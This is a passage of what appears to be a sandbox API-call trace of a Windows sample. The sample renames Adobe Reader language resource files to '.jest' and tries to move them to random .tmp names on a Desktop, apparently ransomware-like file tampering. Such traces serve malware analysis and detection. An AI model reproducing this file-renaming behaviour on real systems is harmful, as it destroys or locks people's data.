GetTickCount () returned 0x1157781 [0150.793] IsWindowVisible (hWnd=0x30268) returned 0 [0150.793] Sleep (dwMilliseconds=0x0) [0150.793] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt.jest")) returned 1 [0150.795] GetLastError () returned 0x0 [0150.795] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟归剐䕅剕⹏硴t") returned 0x73 [0150.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=115, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0150.795] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟归剐䕅剕⹏硴t") returned 0x73 [0150.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=116, lpWideCharStr=0x146c82c, cchWideChar=231 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt") returned 116 [0150.795] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟归剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0150.795] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牦䙟归剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=121, lpWideCharStr=0x144ebf4, cchWideChar=241 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt.jest") returned 121 [0150.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 116 [0150.795] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.fr_FR_PREEURO.txt") returned 0x73 [0150.796] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x16000016, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144edf8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xb0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.796] GetLastError () returned 0x2 [0150.796] VarBstrFromR4 (in: fltIn=0x4794503d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.48") returned 0x0 [0150.796] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.797] CoFreeUnusedLibraries () [0150.797] GetTickCount () returned 0x1157781 [0150.797] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.797] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.797] GetTickCount () returned 0x1157781 [0150.797] IsWindowVisible (hWnd=0x30268) returned 0 [0150.797] Sleep (dwMilliseconds=0x0) [0150.798] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cZH0h9099Fqt_FEOKobgSoN5r8RPUFxE5mBehN4sG9jHjCCXBLO0DPfam2LdRdrDjkI6uPy8RXWIPRErHTNHHeBeuDsw_7s2Yp29.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\czh0h9099fqt_feokobgson5r8rpufxe5mbehn4sg9jhjccxblo0dpfam2ldrdrdjki6upy8rxwiprerhtnhhebeudsw_7s2yp29.tmp")) returned 0 [0150.798] GetLastError () returned 0x2 [0150.798] GetLastError () returned 0x2 [0150.798] SetLastError (dwErrCode=0x2) [0150.799] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.799] CoFreeUnusedLibraries () [0150.799] GetTickCount () returned 0x1157791 [0150.799] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.799] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.799] GetTickCount () returned 0x1157791 [0150.799] IsWindowVisible (hWnd=0x30268) returned 0 [0150.799] Sleep (dwMilliseconds=0x0) [0150.800] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt.jest")) returned 1 [0150.801] GetLastError () returned 0x0 [0150.801] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟⹉硴t") returned 0x6b [0150.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.801] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟⹉硴t") returned 0x6b [0150.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt") returned 108 [0150.801] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟⹉硴⹴敪瑳") returned 0x70 [0150.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.801] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟⹉硴⹴敪瑳") returned 0x70 [0150.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt.jest") returned 113 [0150.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt", lpUsedDefaultChar=0x0) returned 108 [0150.802] VarBstrFromR4 (in: fltIn=0x4794503f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.49") returned 0x0 [0150.802] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.802] CoFreeUnusedLibraries () [0150.802] GetTickCount () returned 0x1157791 [0150.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.803] GetTickCount () returned 0x1157791 [0150.803] IsWindowVisible (hWnd=0x30268) returned 0 [0150.803] Sleep (dwMilliseconds=0x0) [0150.804] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MDZj8IlZpnJmrOms_PZ5 mGpHOQeModm_mOI_xA bzs_8oHK gM49594P5jbhR-OF0smsDe2DKCKmGPNAi9lHq1eA9Rbb_VNy9fGq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdzj8ilzpnjmroms_pz5 mgphoqemodm_moi_xa bzs_8ohk gm49594p5jbhr-of0smsde2dkckmgpnai9lhq1ea9rbb_vny9fgq.tmp")) returned 0 [0150.804] GetLastError () returned 0x2 [0150.804] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.804] CoFreeUnusedLibraries () [0150.804] GetTickCount () returned 0x1157791 [0150.804] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.805] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.805] GetTickCount () returned 0x1157791 [0150.805] IsWindowVisible (hWnd=0x30268) returned 0 [0150.805] Sleep (dwMilliseconds=0x0) [0150.805] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt.jest")) returned 1 [0150.806] GetLastError () returned 0x0 [0150.806] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦琮瑸") returned 0x68 [0150.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0150.806] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦琮瑸") returned 0x68 [0150.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=105, lpWideCharStr=0x1445ffc, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt") returned 105 [0150.806] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦琮瑸樮獥t") returned 0x6d [0150.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0150.806] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦琮瑸樮獥t") returned 0x6d [0150.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=110, lpWideCharStr=0x144ddec, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt.jest") returned 110 [0150.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt", lpUsedDefaultChar=0x0) returned 105 [0150.807] VarBstrFromR4 (in: fltIn=0x4794503f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.49") returned 0x0 [0150.807] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.808] CoFreeUnusedLibraries () [0150.808] GetTickCount () returned 0x1157791 [0150.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.808] GetTickCount () returned 0x1157791 [0150.808] IsWindowVisible (hWnd=0x30268) returned 0 [0150.808] Sleep (dwMilliseconds=0x0) [0150.809] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sPZ 1J_4ZV3o_OLpcF2ogor4K0kxoSizVGC77kC-J7Bj_5tOtOvKq6OmruEASh2QFLW_7VuFGM8jxbe3zn7Y0Qv-VL5ELLELtbpnJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spz 1j_4zv3o_olpcf2ogor4k0kxosizvgc77kc-j7bj_5totovkq6omrueash2qflw_7vufgm8jxbe3zn7y0qv-vl5elleltbpnj.tmp")) returned 0 [0150.809] GetLastError () returned 0x2 [0150.809] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.810] CoFreeUnusedLibraries () [0150.810] GetTickCount () returned 0x1157791 [0150.810] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.810] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.810] GetTickCount () returned 0x1157791 [0150.810] IsWindowVisible (hWnd=0x30268) returned 0 [0150.810] Sleep (dwMilliseconds=0x0) [0150.810] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt.jest")) returned 1 [0150.811] GetLastError () returned 0x0 [0150.812] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟彉剐䕅剕⹏硴t") returned 0x73 [0150.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=115, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0150.812] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟彉剐䕅剕⹏硴t") returned 0x73 [0150.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=116, lpWideCharStr=0x146c82c, cchWideChar=231 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt") returned 116 [0150.812] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟彉剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0150.812] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳楦䙟彉剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=121, lpWideCharStr=0x144eaec, cchWideChar=241 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt.jest") returned 121 [0150.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt", lpUsedDefaultChar=0x0) returned 116 [0150.812] VarBstrFromR4 (in: fltIn=0x4794503f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.49") returned 0x0 [0150.813] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.813] CoFreeUnusedLibraries () [0150.813] GetTickCount () returned 0x1157791 [0150.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.813] GetTickCount () returned 0x1157791 [0150.813] IsWindowVisible (hWnd=0x30268) returned 0 [0150.813] Sleep (dwMilliseconds=0x0) [0150.814] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d_RfSpfnpmLM50O_CImtRnRgWfWekUXH9X D tSC9bDowH2WHv5WA7sWZFYeBdq4A1PaKtQFFbyV5zRllDsslQIDmDP5gKfBYHLdf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d_rfspfnpmlm50o_cimtrnrgwfwekuxh9x d tsc9bdowh2whv5wa7swzfyebdq4a1paktqffbyv5zrlldsslqidmdp5gkfbyhldf.tmp")) returned 0 [0150.814] GetLastError () returned 0x2 [0150.814] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.815] CoFreeUnusedLibraries () [0150.815] GetTickCount () returned 0x11577a0 [0150.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.815] GetTickCount () returned 0x11577a0 [0150.815] IsWindowVisible (hWnd=0x30268) returned 0 [0150.815] Sleep (dwMilliseconds=0x0) [0150.815] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt.jest")) returned 1 [0150.817] GetLastError () returned 0x0 [0150.817] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹓硴t") returned 0x6b [0150.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.817] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹓硴t") returned 0x6b [0150.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt") returned 108 [0150.817] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹓硴⹴敪瑳") returned 0x70 [0150.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.817] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹓硴⹴敪瑳") returned 0x70 [0150.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt.jest") returned 113 [0150.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt", lpUsedDefaultChar=0x0) returned 108 [0150.818] VarBstrFromR4 (in: fltIn=0x47945041, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.51") returned 0x0 [0150.818] PeekMessageA (in: 